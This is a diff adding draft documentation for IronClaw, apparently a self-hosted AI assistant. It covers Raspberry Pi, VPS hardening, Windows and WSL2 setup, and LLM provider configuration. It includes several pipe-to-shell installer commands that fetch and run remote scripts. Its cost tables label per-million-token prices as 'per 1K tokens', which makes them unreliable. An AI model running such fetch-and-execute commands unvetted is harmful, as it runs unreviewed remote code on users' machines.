+swapon --show +``` + +### Increase Swap to 2 GB + +```bash +# Disable current swap +sudo dphys-swapfile swapoff + +# Edit swap config +sudo nano /etc/dphys-swapfile +# Set: CONF_SWAPSIZE=2048 + +# Re-enable +sudo dphys-swapfile setup +sudo dphys-swapfile swapon + +# Verify +free -h +``` + +### Use a USB SSD for Swap (Better Performance) + +If you have a USB SSD attached: + +```bash +sudo mkswap /dev/sda1 +sudo swapon /dev/sda1 + +# Make permanent +echo '/dev/sda1 none swap sw 0 0' | sudo tee -a /etc/fstab +``` + + +Avoid heavy swap usage on microSD cards — the write cycles degrade cards quickly. If you rely on swap, route it to a USB SSD. + + +--- + +## systemd Service + +Run IronClaw as a background service on the Pi. + +Create `/etc/systemd/system/ironclaw.service`: + +```ini +[Unit] +Description=IronClaw AI Assistant +After=network-online.target ollama.service +Wants=network-online.target + +[Service] +Type=simple +User=pi +EnvironmentFile=/home/pi/.ironclaw/.env +ExecStart=/home/pi/.local/bin/ironclaw run +Restart=on-failure +RestartSec=10s +StandardOutput=journal +StandardError=journal +SyslogIdentifier=ironclaw + +[Install] +WantedBy=multi-user.target +``` + +Enable and start: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now ironclaw +journalctl -u ironclaw -f +``` + +--- + +## Docker Sandbox (Optional) + +Docker works on Raspberry Pi but is resource-intensive. For a Pi with 4 GB RAM, disable the sandbox unless you specifically need job isolation. + +### Install Docker on Pi + +```bash +curl -fsSL https://get.docker.com | sh +sudo usermod -aG docker $USER +newgrp docker +``` + +### Sandbox Configuration + +```bash +# Enable sandbox (requires Docker) +SANDBOX_ENABLED=true +SANDBOX_IMAGE=ironclaw-worker:latest +SANDBOX_MEMORY_LIMIT_MB=256 # Keep low on Pi +SANDBOX_TIMEOUT_SECS=300 +``` + + +On a 4 GB Pi, each sandbox container takes ~200-300 MB RAM. With Ollama also running, a single concurrent job is the practical limit. On an 8 GB Pi 5, you can run 2-3 concurrent sandbox jobs. + + +--- + +## Performance Tips + + + + Semantic memory search uses an embedding model that requires additional RAM and an embedding API call. If you are not using the memory search features, disable it: + + ```bash + EMBEDDING_ENABLED=false + ``` + + Full-text search (FTS5) still works without embeddings. + + + + Database I/O on a slow microSD card significantly affects response times. An A2-rated microSD or USB SSD reduces latency for libSQL writes. + + + + The heartbeat runs every 30 minutes by default and triggers an LLM call. On Ollama with a 3B model, this can take 10-30 seconds and consumes RAM. Adjust the interval or disable: + + ```bash + HEARTBEAT_ENABLED=false + # Or slow it down + HEARTBEAT_INTERVAL_SECS=7200 # 2 hours + ``` + + + + Lower the concurrency limit to avoid memory pressure: + + ```bash + MAX_PARALLEL_JOBS=1 + ``` + + + + Quantized models (Q4_K_M) use 30-50% less RAM than full-precision models with only modest quality loss. Always prefer quantized variants on Pi hardware. + + + +--- + +## Accessing IronClaw from Your Network + +By default IronClaw binds to `127.0.0.1`. To access it from another device on your LAN: + +```bash +GATEWAY_HOST=0.0.0.0 +GATEWAY_PORT=3000 +``` + +Then navigate to `http://:3000` from another machine. Secure with a strong `GATEWAY_AUTH_TOKEN`. + + +Do not expose port 3000 directly to the internet. If you need remote access, use a VPN (WireGuard, Tailscale) or SSH tunnel instead. + + +--- + +## Next Steps + + + + Full configuration reference for the Ollama LLM provider + + + systemd, GNOME Keyring, and UFW hardening for Linux + + + Full environment variable reference + + diff --git a/docs/drafts/platforms/vps.mdx b/docs/drafts/platforms/vps.mdx new file mode 100644 index 0000000000..a3062f9787 --- /dev/null +++ b/docs/drafts/platforms/vps.mdx @@ -0,0 +1,385 @@ +--- +title: VPS Hardening +sidebarTitle: VPS Hardening +description: Securing IronClaw on a VPS with UFW, Caddy, and fail2ban +--- + +Deploying IronClaw on a public VPS requires additional hardening. Never expose the Web Gateway port directly to the internet — route all external traffic through a TLS-terminating reverse proxy and restrict direct port access with a firewall. + +--- + +## Create a Dedicated User + +Run IronClaw as a non-root user with Docker access: + +```bash +# Create user +sudo adduser --disabled-password --gecos "" ironclaw + +# Add to docker group (for sandbox) +sudo usermod -aG docker ironclaw + +# Create config directory +sudo mkdir -p /etc/ironclaw +sudo chown root:ironclaw /etc/ironclaw +sudo chmod 750 /etc/ironclaw + +# Create data directory +sudo mkdir -p /var/lib/ironclaw +sudo chown ironclaw:ironclaw /var/lib/ironclaw +``` + +--- + +## UFW Firewall Rules + +```bash +# Reset to defaults (careful: this disables existing rules) +# sudo ufw reset + +# Default policies +sudo ufw default deny incoming +sudo ufw default allow outgoing + +# Allow SSH (do this first — never lock yourself out) +sudo ufw allow 22/tcp + +# Allow HTTPS (reverse proxy) +sudo ufw allow 443/tcp + +# Allow HTTP (for Let's Encrypt / ACME challenge only) +sudo ufw allow 80/tcp + +# Block direct access to IronClaw from public internet +# Port 3000 (Web Gateway) — internal only +sudo ufw deny 3000/tcp + +# Block orchestrator port (internal container API) +sudo ufw deny 50051/tcp + +# If you have a known management IP, allow it explicitly: +# sudo ufw allow from 203.0.113.10 to any port 3000 + +# Enable UFW +sudo ufw enable +sudo ufw status numbered +``` + + +Always run `sudo ufw allow 22/tcp` before enabling UFW. Enabling UFW with the default deny policy and no SSH rule will immediately lock you out of the server. + + +--- + +## Caddy Reverse Proxy (Recommended) + +Caddy automatically provisions and renews TLS certificates via Let's Encrypt. No manual certificate management required. + +### Install Caddy + +```bash +sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https +curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' \ + | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg +curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' \ + | sudo tee /etc/apt/sources.list.d/caddy-stable.list +sudo apt update && sudo apt install caddy +``` + +### Caddyfile + +Replace `ironclaw.yourdomain.com` with your actual domain. Edit `/etc/caddy/Caddyfile`: + +```caddy +ironclaw.yourdomain.com { + # TLS via Let's Encrypt (automatic) + # Requires port 80 to be reachable for ACME challenge + + # Security headers + header { + Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" + X-Content-Type-Options "nosniff" + X-Frame-Options "DENY" + Referrer-Policy "strict-origin-when-cross-origin" + -Server + } + + # Rate limit (requires caddy-ratelimit plugin, optional) + # rate_limit { + # zone dynamic_zone { + # key {remote_host} + # events 60 + # window 1m + # } + # } + + # WebSocket and SSE pass-through + reverse_proxy localhost:3000 { + header_up X-Real-IP {remote_host} + header_up X-Forwarded-For {remote_host} + header_up X-Forwarded-Proto {scheme} + + # Keep WebSocket connections alive + transport http { + keepalive 30s + keepalive_idle_conns 10 + } + } + + # Access log + log { + output file /var/log/caddy/ironclaw-access.log + format json + } +} +``` + +Apply the configuration: + +```bash +sudo systemctl reload caddy +# Verify TLS provisioning +curl -I https://ironclaw.yourdomain.com/api/health +``` + +--- + +## nginx Alternative + +If you prefer nginx: + +```bash +sudo apt install nginx certbot python3-certbot-nginx +``` + +Create `/etc/nginx/sites-available/ironclaw`: + +```nginx +server { + listen 80; + server_name ironclaw.yourdomain.com; + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl http2; + server_name ironclaw.yourdomain.com; + + ssl_certificate /etc/letsencrypt/live/ironclaw.yourdomain.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/ironclaw.yourdomain.com/privkey.pem; + ssl_protocols TLSv1.2 TLSv1.3; + ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384; + ssl_prefer_server_ciphers off; + ssl_session_cache shared:SSL:10m; + + add_header Strict-Transport-Security "max-age=31536000" always; + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "DENY" always; + + location / { + proxy_pass http://127.0.0.1:3000; + proxy_http_version 1.1; + + # WebSocket support + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # SSE: disable buffering + proxy_buffering off; + proxy_cache off; + + # Timeouts + proxy_connect_timeout 60s; + proxy_send_timeout 300s; + proxy_read_timeout 300s; + } + + access_log /var/log/nginx/ironclaw.access.log; + error_log /var/log/nginx/ironclaw.error.log; +} +``` + +Enable and obtain a certificate: + +```bash +sudo ln -s /etc/nginx/sites-available/ironclaw /etc/nginx/sites-enabled/ +sudo nginx -t +sudo systemctl reload nginx +sudo certbot --nginx -d ironclaw.yourdomain.com +``` + +--- + +## Cloudflare Tunnel (Zero Open Ports) + +Cloudflare Tunnel routes traffic through Cloudflare's network. No inbound ports need to be open on the VPS — not even 80 or 443. + +```bash +# Install cloudflared +curl -fsSL https://pkg.cloudflare.com/cloudflare-main.gpg \ + | sudo gpg --dearmor -o /usr/share/keyrings/cloudflare-main.gpg +echo 'deb [signed-by=/usr/share/keyrings/cloudflare-main.gpg] https://pkg.cloudflare.com/cloudflared bookworm main' \ + | sudo tee /etc/apt/sources.list.d/cloudflared.list +sudo apt update && sudo apt install cloudflared + +# Authenticate (opens browser) +cloudflared tunnel login + +# Create tunnel +cloudflared tunnel create ironclaw + +# Configure: ~/.cloudflared/config.yml +cat > ~/.cloudflared/config.yml <<'EOF' +tunnel: +credentials-file: /home/ironclaw/.cloudflared/.json + +ingress: + - hostname: ironclaw.yourdomain.com + service: http://localhost:3000 + - service: http_status:404 +EOF + +# Route DNS +cloudflared tunnel route dns ironclaw ironclaw.yourdomain.com + +# Run as service +sudo cloudflared service install +sudo systemctl enable --now cloudflared +``` + +--- + +## fail2ban + +### SSH Protection + +Create `/etc/fail2ban/jail.d/sshd.local`: + +```ini +[sshd] +enabled = true +port = ssh +filter = sshd +logpath = /var/log/auth.log +maxretry = 3 +bantime = 3600 +findtime = 600 +``` + +### IronClaw Auth Protection + +Create `/etc/fail2ban/filter.d/ironclaw.conf`: + +```ini +[Definition] +failregex = ^.*"status":401.*"remote_ip":"".*$ + ^.*401 Unauthorized.*.*$ +ignoreregex = +``` + +Create `/etc/fail2ban/jail.d/ironclaw.conf`: + +```ini +[ironclaw] +enabled = true +port = 443,3000 +filter = ironclaw +logpath = /var/log/caddy/ironclaw-access.log + /var/log/nginx/ironclaw.access.log +maxretry = 10 +bantime = 1800 +findtime = 300 +action = ufw +``` + +Apply: + +```bash +sudo systemctl restart fail2ban +sudo fail2ban-client status +sudo fail2ban-client status ironclaw +``` + +--- + +## Automatic Security Updates + +```bash +sudo apt install unattended-upgrades + +# Configure +sudo tee /etc/apt/apt.conf.d/50unattended-upgrades > /dev/null <<'EOF' +Unattended-Upgrade::Allowed-Origins { + "${distro_id}:${distro_codename}-security"; +}; +Unattended-Upgrade::AutoFixInterruptedDpkg "true"; +Unattended-Upgrade::MinimalSteps "true"; +Unattended-Upgrade::Remove-Unused-Kernel-Packages "true"; +Unattended-Upgrade::Remove-New-Unused-Dependencies "true"; +Unattended-Upgrade::Automatic-Reboot "false"; +EOF + +# Enable +sudo dpkg-reconfigure --priority=low unattended-upgrades +sudo systemctl enable --now unattended-upgrades +``` + +--- + +## SSH Hardening + +Edit `/etc/ssh/sshd_config`: + +``` +# Disable password authentication +PasswordAuthentication no +ChallengeResponseAuthentication no +UsePAM no + +# Enable public key only +PubkeyAuthentication yes +AuthorizedKeysFile .ssh/authorized_keys + +# Restrict login +PermitRootLogin no +AllowUsers ironclaw youruser + +# Connection limits +MaxAuthTries 3 +LoginGraceTime 30 +ClientAliveInterval 300 +ClientAliveCountMax 2 + +# Restrict algorithms (optional, modern clients support these) +KexAlgorithms curve25519-sha256,ecdh-sha2-nistp256 +Ciphers aes256-gcm@openssh.com,chacha20-poly1305@openssh.com +MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com +``` + +Apply: + +```bash +sudo sshd -t # Test config before reloading +sudo systemctl reload sshd +``` + +--- + +## Next Steps + + + + Production Docker Compose with PostgreSQL and volume backups + + + All 40+ Web Gateway API endpoints + + + Log levels, journalctl, and cost tracking + + diff --git a/docs/drafts/platforms/windows-native.mdx b/docs/drafts/platforms/windows-native.mdx new file mode 100644 index 0000000000..831cf028bd --- /dev/null +++ b/docs/drafts/platforms/windows-native.mdx @@ -0,0 +1,232 @@ +--- +title: Windows (Native) +sidebarTitle: Windows Native +description: Running IronClaw natively on Windows (experimental) +--- + +IronClaw can run natively on Windows without WSL2. This is useful when you need a pure Windows deployment or cannot use WSL2. Native Windows support is experimental — for most users, [WSL2 is recommended](/platforms/windows-wsl2). + + +Native Windows support is experimental. Some features behave differently compared to Linux and WSL2, particularly shell tool execution and Docker sandbox integration. Production deployments should use Linux or WSL2. + + +--- + +## Installation + +### PowerShell Script + +Open PowerShell as your user (not necessarily Administrator) and run: + +```powershell +irm https://install.ironclaw.ai/windows | iex +``` + +This downloads the `ironclaw-x86_64-pc-windows-msvc.exe` binary and installs it to `%USERPROFILE%\.local\bin\ironclaw.exe`. + +### Manual Install + +1. Download `ironclaw-x86_64-pc-windows-msvc.zip` from [github.com/ironclaw-ai/ironclaw/releases](https://github.com/nearai/ironclaw/releases) +2. Extract to `C:\Program Files\IronClaw\` +3. Add to PATH (see below) + +### Add to PATH + +```powershell +# Add to user PATH (persistent) +[Environment]::SetEnvironmentVariable( + "Path", + $env:Path + ";C:\Program Files\IronClaw", + "User" +) + +# Reload PATH in current session +$env:Path = [Environment]::GetEnvironmentVariable("Path", "User") + +# Verify +ironclaw --version +``` + +### Build from Source + +Requires [Rust](https://rustup.rs) and [Visual Studio Build Tools](https://visualstudio.microsoft.com/visual-cpp-build-tools/): + +```powershell +# Install dependencies +winget install Rustlang.Rust.MSVC +winget install Microsoft.VisualStudio.2022.BuildTools + +# Build +git clone https://github.com/nearai/ironclaw.git +cd ironclaw +cargo build --release + +# Install +copy target\release\ironclaw.exe C:\Program Files\IronClaw\ironclaw.exe +``` + +--- + +## First Run + +```powershell +ironclaw onboard +ironclaw run +``` + +Navigate to `http://127.0.0.1:3000` in your browser. + +--- + +## Secrets: Windows DPAPI + +On Windows, IronClaw stores the encryption master key using the **Windows Data Protection API (DPAPI)**. DPAPI ties the key to your Windows user account and machine — no additional setup is required. + +The key is stored in the Windows Credential Manager under the name `IronClaw Master Key`. You can inspect it via: + +1. Open **Credential Manager** (search in Start menu) +2. Click **Windows Credentials** +3. Look for `IronClaw Master Key` under **Generic Credentials** + + +DPAPI keys are tied to the current Windows user and machine. If you migrate your IronClaw data to a different machine or reinstall Windows, your encrypted secrets will be unreadable without re-entering them. Export secrets before migrating. + + +--- + +## Task Scheduler Autostart + +Use Windows Task Scheduler to run IronClaw at login without a console window. + +### Using schtasks (Command Line) + +```powershell +# Create task (runs at login, hidden) +schtasks /create ` + /tn "IronClaw" ` + /tr "\"C:\Program Files\IronClaw\ironclaw.exe\" run" ` + /sc ONLOGON ` + /ru "%USERNAME%" ` + /f + +# Start immediately +schtasks /run /tn "IronClaw" + +# Stop +schtasks /end /tn "IronClaw" + +# Delete task +schtasks /delete /tn "IronClaw" /f +``` + +### Using Task Scheduler XML + +Create `ironclaw-task.xml`: + +```xml + + + + + true + + + + + InteractiveToken + LeastPrivilege + + + + IgnoreNew + false + false + PT0S + + PT1M + 999 + + + + + C:\Program Files\IronClaw\ironclaw.exe + run + %USERPROFILE% + + + +``` + +Import the task: + +```powershell +schtasks /create /xml ironclaw-task.xml /tn "IronClaw" +``` + +--- + +## Known Limitations vs WSL2 + +| Feature | Native Windows | WSL2 | +|---------|---------------|------| +| Docker sandbox | Requires Docker Desktop, limited | Full support via Docker Desktop WSL2 backend | +| Shell tool (`shell`) | PowerShell / cmd.exe only; bash unavailable | Full bash support | +| PATH handling | Windows PATH conventions (`\`, `;`) | Unix PATH (`/`, `:`) | +| GNOME Keyring | Not available (uses DPAPI) | Available | +| systemd service | Not available (use Task Scheduler) | Available (Win 11 22H2+) | +| Signal handling | Limited SIGTERM support | Full Unix signals | +| Symbolic links | Requires Developer Mode or elevated privileges | Native support | + +--- + +## Docker Sandbox on Native Windows + +The Docker sandbox requires [Docker Desktop for Windows](https://www.docker.com/products/docker-desktop/). + +```powershell +# Install via winget +winget install Docker.DockerDesktop +``` + +After installation: +1. Start Docker Desktop +2. Go to **Settings → General** and ensure "Use the WSL 2 based engine" is checked (recommended even for native Windows IronClaw to avoid Windows container mode) +3. Set `SANDBOX_ENABLED=true` in your IronClaw configuration + + +Docker Desktop must be running before IronClaw starts if the sandbox is enabled. Docker Desktop does not auto-start by default after a fresh install — enable it in **Settings → General → Start Docker Desktop when you sign in**. + + +--- + +## Environment Configuration + +Create `%USERPROFILE%\.ironclaw\.env` or set environment variables via System Properties: + +```powershell +# PowerShell: set persistent user environment variables +[Environment]::SetEnvironmentVariable("DATABASE_BACKEND", "libsql", "User") +[Environment]::SetEnvironmentVariable("LLM_BACKEND", "nearai", "User") +[Environment]::SetEnvironmentVariable("NEARAI_SESSION_TOKEN", "sess_xxx", "User") +[Environment]::SetEnvironmentVariable("GATEWAY_ENABLED", "true", "User") +[Environment]::SetEnvironmentVariable("GATEWAY_AUTH_TOKEN", "change_me", "User") +``` + +Or via the GUI: **System Properties → Advanced → Environment Variables → User variables**. + +--- + +## Next Steps + + + + Recommended Windows setup with full feature support + + + Full environment variable reference + + + Common issues and solutions + + diff --git a/docs/drafts/platforms/windows-wsl2.mdx b/docs/drafts/platforms/windows-wsl2.mdx new file mode 100644 index 0000000000..3e6555407f --- /dev/null +++ b/docs/drafts/platforms/windows-wsl2.mdx @@ -0,0 +1,262 @@ +--- +title: Windows (WSL2) +sidebarTitle: Windows (WSL2) +description: Running IronClaw on Windows via WSL2 (recommended) +--- + +WSL2 (Windows Subsystem for Linux 2) is the recommended way to run IronClaw on Windows. It provides a full Linux environment with near-native performance and seamless port forwarding to Windows. + + +WSL2 is preferred over native Windows for IronClaw. The Docker sandbox, shell tools, and keyring integrations all work without workarounds under WSL2. For a fully native Windows setup, see [Windows Native](/platforms/windows-native). + + +--- + +## Set Up WSL2 + +### Install WSL2 + +Open PowerShell as Administrator and run: + +```powershell +wsl --install +``` + +This installs WSL2 with Ubuntu as the default distribution. Restart your machine when prompted. + +### Verify WSL2 is Active + +```powershell +wsl --status +# Should show: Default Version: 2 + +wsl --list --verbose +# NAME STATE VERSION +# Ubuntu Running 2 +``` + +### Update Ubuntu + +Open Ubuntu from the Start menu and run: + +```bash +sudo apt update && sudo apt upgrade -y +``` + +--- + +## Install IronClaw in WSL2 + +Once inside the WSL2 Ubuntu terminal, installation is identical to Linux: + +```bash +curl -fsSL https://install.ironclaw.ai | bash +``` + +Add to PATH: + +```bash +echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc +source ~/.bashrc +``` + +Run the setup wizard: + +```bash +ironclaw onboard +``` + +--- + +## Accessing the Web Gateway from Windows + +IronClaw's Web Gateway binds to `127.0.0.1:3000` inside WSL2. Modern Windows 11 and recent Windows 10 versions automatically forward localhost ports from WSL2 to the Windows host. + +**From a Windows browser, navigate to:** `http://localhost:3000` + +### Manual Port Forwarding (Older Windows 10) + +If automatic forwarding does not work, find the WSL2 IP address and add a port proxy rule: + +```powershell +# In PowerShell (run as Administrator) +# Get WSL2 IP +$wslIp = (wsl hostname -I).Trim() + +# Add port forward +netsh interface portproxy add v4tov4 ` + listenaddress=127.0.0.1 ` + listenport=3000 ` + connectaddress=$wslIp ` + connectport=3000 + +# Verify +netsh interface portproxy show all +``` + +Remove the rule later: + +```powershell +netsh interface portproxy delete v4tov4 listenaddress=127.0.0.1 listenport=3000 +``` + +--- + +## Secrets and Keyring + +Secrets inside WSL2 are stored in the Linux keyring (GNOME Keyring or the keyutils kernel keyring), **not** in Windows Credential Manager. + +### Install GNOME Keyring in WSL2 + +```bash +sudo apt install gnome-keyring + +# Start the keyring daemon in your shell session +eval $(gnome-keyring-daemon --start --components=secrets) +export GNOME_KEYRING_CONTROL +``` + +Add this to `~/.bashrc` to start it automatically: + +```bash +if [ -z "$GNOME_KEYRING_CONTROL" ]; then + eval $(gnome-keyring-daemon --start --components=secrets 2>/dev/null) + export GNOME_KEYRING_CONTROL +fi +``` + +### Alternative: Environment Variable + +On WSL2 without a desktop session, the keyring daemon may not start reliably. Use the environment variable fallback: + +```bash +# Generate a key once and store it securely +openssl rand -base64 32 > ~/.ironclaw/master.key +chmod 600 ~/.ironclaw/master.key + +# Reference it in your .env +IRONCLAW_MASTER_KEY=$(cat ~/.ironclaw/master.key) +``` + + +The master key file must be protected with restrictive permissions (600). Anyone who can read it can decrypt your stored secrets. + + +--- + +## Docker Desktop with WSL2 Backend + +Docker Desktop integrates directly with WSL2 and is the recommended Docker setup on Windows. + +### Install Docker Desktop + +1. Download from [docker.com/products/docker-desktop](https://www.docker.com/products/docker-desktop/) +2. During installation, ensure **"Use the WSL 2 based engine"** is checked +3. After installation, go to **Settings → Resources → WSL Integration** +4. Enable integration with your Ubuntu distribution + +### Verify Docker Access Inside WSL2 + +```bash +# In WSL2 terminal +docker run --rm hello-world +``` + +You should see the Docker hello-world message. IronClaw can now use Docker for sandbox execution without needing a separate Docker installation inside WSL2. + + +Do not install Docker Engine directly inside WSL2 when using Docker Desktop. The Docker Desktop WSL2 integration exposes the Docker daemon to WSL2 automatically — installing a second Docker daemon causes conflicts. + + +--- + +## Windows Firewall Rules for WSL2 + +Windows Firewall applies to WSL2 network traffic. If your firewall is set to block inbound connections to WSL2, the Web Gateway will be unreachable from Windows. + +### Allow Port 3000 (if needed) + +```powershell +# PowerShell (run as Administrator) +New-NetFirewallRule ` + -DisplayName "IronClaw Web Gateway" ` + -Direction Inbound ` + -Protocol TCP ` + -LocalPort 3000 ` + -Action Allow ` + -Profile Private +``` + +Block public network access (keep it local-only): + +```powershell +New-NetFirewallRule ` + -DisplayName "Block IronClaw Public" ` + -Direction Inbound ` + -Protocol TCP ` + -LocalPort 3000 ` + -Action Block ` + -Profile Public +``` + +--- + +## Windows Terminal (Recommended) + +[Windows Terminal](https://apps.microsoft.com/detail/9n0dx20hk701) provides the best experience for WSL2: + +- Multi-pane view (IronClaw logs + interactive shell side by side) +- Proper font rendering and colors for the TUI interface +- WSL2 profiles with custom colors and fonts + +Install from the Microsoft Store or: + +```powershell +winget install Microsoft.WindowsTerminal +``` + +Set Ubuntu (WSL2) as the default profile in Settings. + +--- + +## Running IronClaw as a WSL2 Background Service + +WSL2 supports systemd on Windows 11 22H2+ and recent Windows 10 builds. Check if it is enabled: + +```bash +cat /etc/wsl.conf +# Should contain: +# [boot] +# systemd=true +``` + +Enable systemd if not set: + +```bash +sudo tee /etc/wsl.conf > /dev/null <<'EOF' +[boot] +systemd=true +EOF + +# Restart WSL2 from PowerShell +wsl --shutdown +# Re-open Ubuntu +``` + +Then follow the [Linux systemd setup](/platforms/linux#systemd-service) to create a service unit. + +--- + +## Next Steps + + + + Full systemd, keyring, and UFW setup reference + + + Running IronClaw natively without WSL2 (experimental) + + + Securing a public-facing deployment + + diff --git a/docs/drafts/providers/anthropic.mdx b/docs/drafts/providers/anthropic.mdx new file mode 100644 index 0000000000..ca8ceaadfa --- /dev/null +++ b/docs/drafts/providers/anthropic.mdx @@ -0,0 +1,122 @@ +--- +title: Anthropic +sidebarTitle: Anthropic +description: Claude models via Anthropic API +--- + +Use Anthropic's Claude models directly via their official API. + +## Overview + +Anthropic provides state-of-the-art language models with exceptional reasoning capabilities and long context windows. + +**Key features:** +- **Claude Sonnet** — Best balance of speed and capability +- **Long context** — Up to 200K tokens +- **Safety focus** — Built-in Constitutional AI + +## Configuration + +```bash +# ~/.ironclaw/.env + +LLM_BACKEND=anthropic +ANTHROPIC_API_KEY=sk-ant-api03-... +``` + +## Getting an API Key + +1. Visit https://console.anthropic.com +2. Create an account +3. Generate an API key +4. Copy the key (starts with `sk-ant-`) + +## Available Models + +| Model | Context | Best For | +|-------|---------|----------| +| `claude-sonnet-4-20250514` | 200K | Complex reasoning, coding (recommended) | +| `claude-3-5-sonnet-20241022` | 200K | General purpose, great performance | +| `claude-3-5-haiku-20241022` | 200K | Fast responses, simple tasks | + +## Setup + +### Via Wizard + +```bash +ironclaw onboard +``` + +1. Step 3: Select "Anthropic" +2. Enter your API key +3. Step 4: Select a model + +### Manual Configuration + +```bash +# Edit ~/.ironclaw/.env +export LLM_BACKEND=anthropic +export ANTHROPIC_API_KEY=sk-ant-api03-... + +# Optional: custom base URL +export ANTHROPIC_BASE_URL=https://api.anthropic.com +``` + +Restart IronClaw: +```bash +ironclaw run +``` + +## Enterprise / Custom Base URL + +For enterprise deployments with custom endpoints: + +```bash +export ANTHROPIC_BASE_URL=https://your-enterprise.anthropic.com +``` + +## Cost + +Approximate pricing (per 1K tokens): + +| Model | Input | Output | +|-------|-------|--------| +| Claude Sonnet 4 | $3.00 | $15.00 | +| Claude 3.5 Sonnet | $3.00 | $15.00 | +| Claude 3.5 Haiku | $0.25 | $1.25 | + +See [Anthropic pricing](https://www.anthropic.com/pricing) for current rates. + +## Troubleshooting + + + + - Verify key starts with `sk-ant-` + - Check for extra spaces + - Ensure key is active in console + + + + - Anthropic has rate limits per tier + - Check your tier in console + - Consider upgrading or implementing retries + + + + - Verify model name spelling + - Check model availability for your tier + - Try a different model + + + +## Next Steps + + + + Default provider with OAuth option + + + + Alternative: GPT models + + diff --git a/docs/drafts/providers/index.mdx b/docs/drafts/providers/index.mdx new file mode 100644 index 0000000000..390f21ba9e --- /dev/null +++ b/docs/drafts/providers/index.mdx @@ -0,0 +1,159 @@ +--- +title: LLM Providers +sidebarTitle: Overview +description: Choose your AI model provider +--- + +IronClaw supports multiple LLM backends. Choose the provider that best fits your needs. + +## Provider Comparison + +| Provider | Backend | Local | Privacy | Cost | Best For | +|----------|---------|-------|---------|------|----------| +| **NEAR AI** | `nearai` | ✗ | ★★★ | $ | Default, easy setup | +| **Anthropic** | `anthropic` | ✗ | ★★★ | $$ | Claude models | +| **OpenAI** | `openai` | ✗ | ★★ | $$ | GPT models | +| **Ollama** | `ollama` | ✓ | ★★★★★ | Free | Local inference | +| **Tinfoil** | `tinfoil` | ✗ | ★★★★★ | $$ | TEE privacy | +| **OpenRouter** | `openai_compatible` | ✗ | ★★ | $ | Model variety | +| **Moonshot** | `openai_compatible` | ✗ | ★★★ | $$ | Kimi K2.5 | + +## Quick Selection Guide + + + + **NEAR AI** — Default provider, works out of the box + - Browser OAuth or API key + - Multiple models + - No credit card required to start + + + + **Ollama** — Run models locally + - No data leaves your machine + - Free + - Requires GPU for larger models + + + + **Anthropic Claude** — Industry-leading reasoning + - Excellent for complex tasks + - Long context window + - Higher cost + + + + **OpenRouter** — Access 300+ models + - Single API key + - Mix of commercial and open models + - Pay-as-you-go + + + +## Available Providers + + + + Default provider. Browser OAuth or API key. Multiple models including Claude. + + + + Claude models directly. Best reasoning and long context. + + + + GPT-4o, GPT-4o-mini, o3-mini. Direct API access. + + + + Local inference. Free, private. Llama, Mistral, Qwen, and more. + + + + OpenRouter, Together AI, Fireworks, vLLM, LiteLLM, LM Studio. + + + + Hardware-attested TEE. Neither Tinfoil nor cloud can see prompts. + + + + Kimi K2.5 with 256K context. Advanced reasoning and long-context models. + + + +## Switching Providers + +Change providers by updating environment variables and restarting: + +```bash +# Edit ~/.ironclaw/.env +export LLM_BACKEND=anthropic +export ANTHROPIC_API_KEY=sk-ant-... + +# Restart IronClaw +ironclaw run +``` + +Or re-run the wizard: + +```bash +ironclaw onboard --skip-auth +``` + +## Configuration + +All providers are configured via environment variables: + +```bash +# In ~/.ironclaw/.env +LLM_BACKEND=anthropic +ANTHROPIC_API_KEY=sk-ant-... +ANTHROPIC_BASE_URL=https://api.anthropic.com # optional +``` + +See [Configuration](/setup/configuration) for the complete reference. + +## Privacy Considerations + +| Provider | Data Handling | +|----------|---------------| +| **NEAR AI** | Prompts/responses sent to NEAR AI | +| **Anthropic** | Prompts/responses sent to Anthropic | +| **OpenAI** | Prompts/responses sent to OpenAI | +| **Ollama** | No external data transmission | +| **Tinfoil** | Encrypted in TEE, provider cannot see | + +For maximum privacy, use **Ollama** (local) or **Tinfoil** (TEE). + +## Cost Estimation + +Rough cost per 1K tokens (input + output): + +| Provider | Cost | +|----------|------| +| Ollama | Free (GPU/electricity only) | +| OpenAI GPT-4o-mini | ~$0.60 | +| NEAR AI | ~$1-3 | +| OpenAI GPT-4o | ~$5-10 | +| Anthropic Claude | ~$3-15 | + +Actual costs vary by model and usage. + +## Next Steps + +Choose your provider: + + + + Default provider — easiest to set up + + + + Maximum privacy with Ollama + + + + Best reasoning capabilities + + diff --git a/docs/drafts/providers/moonshot.mdx b/docs/drafts/providers/moonshot.mdx new file mode 100644 index 0000000000..9c27a98536 --- /dev/null +++ b/docs/drafts/providers/moonshot.mdx @@ -0,0 +1,194 @@ +--- +title: Moonshot AI +description: Kimi K2.5 and other Moonshot models via OpenAI-compatible API +--- + +[Moonshot AI](https://platform.moonshot.ai) provides state-of-the-art large language models including Kimi K2.5, featuring advanced reasoning capabilities and an extensive context window. + +## Overview + +Moonshot AI offers the Kimi family of models through an OpenAI-compatible API: + +- **Kimi K2.5** — State-of-the-art reasoning with 256K context window +- **Kimi K1.6** — Long-context model for document analysis +- **OpenAI-compatible** — Standard `/v1/chat/completions` endpoint +- **Competitive pricing** — Pay-as-you-go token-based billing + +## Configuration + +```bash +# ~/.ironclaw/.env + +LLM_BACKEND=openai_compatible +LLM_BASE_URL=https://api.moonshot.ai/v1 +LLM_API_KEY=sk-... +LLM_MODEL=kimi-k2-5 +``` + +## Getting an API Key + +1. Visit [platform.moonshot.ai](https://platform.moonshot.ai) +2. Create an account and complete verification +3. Generate an API key from the dashboard +4. Copy the key and add it to your `.env` file + 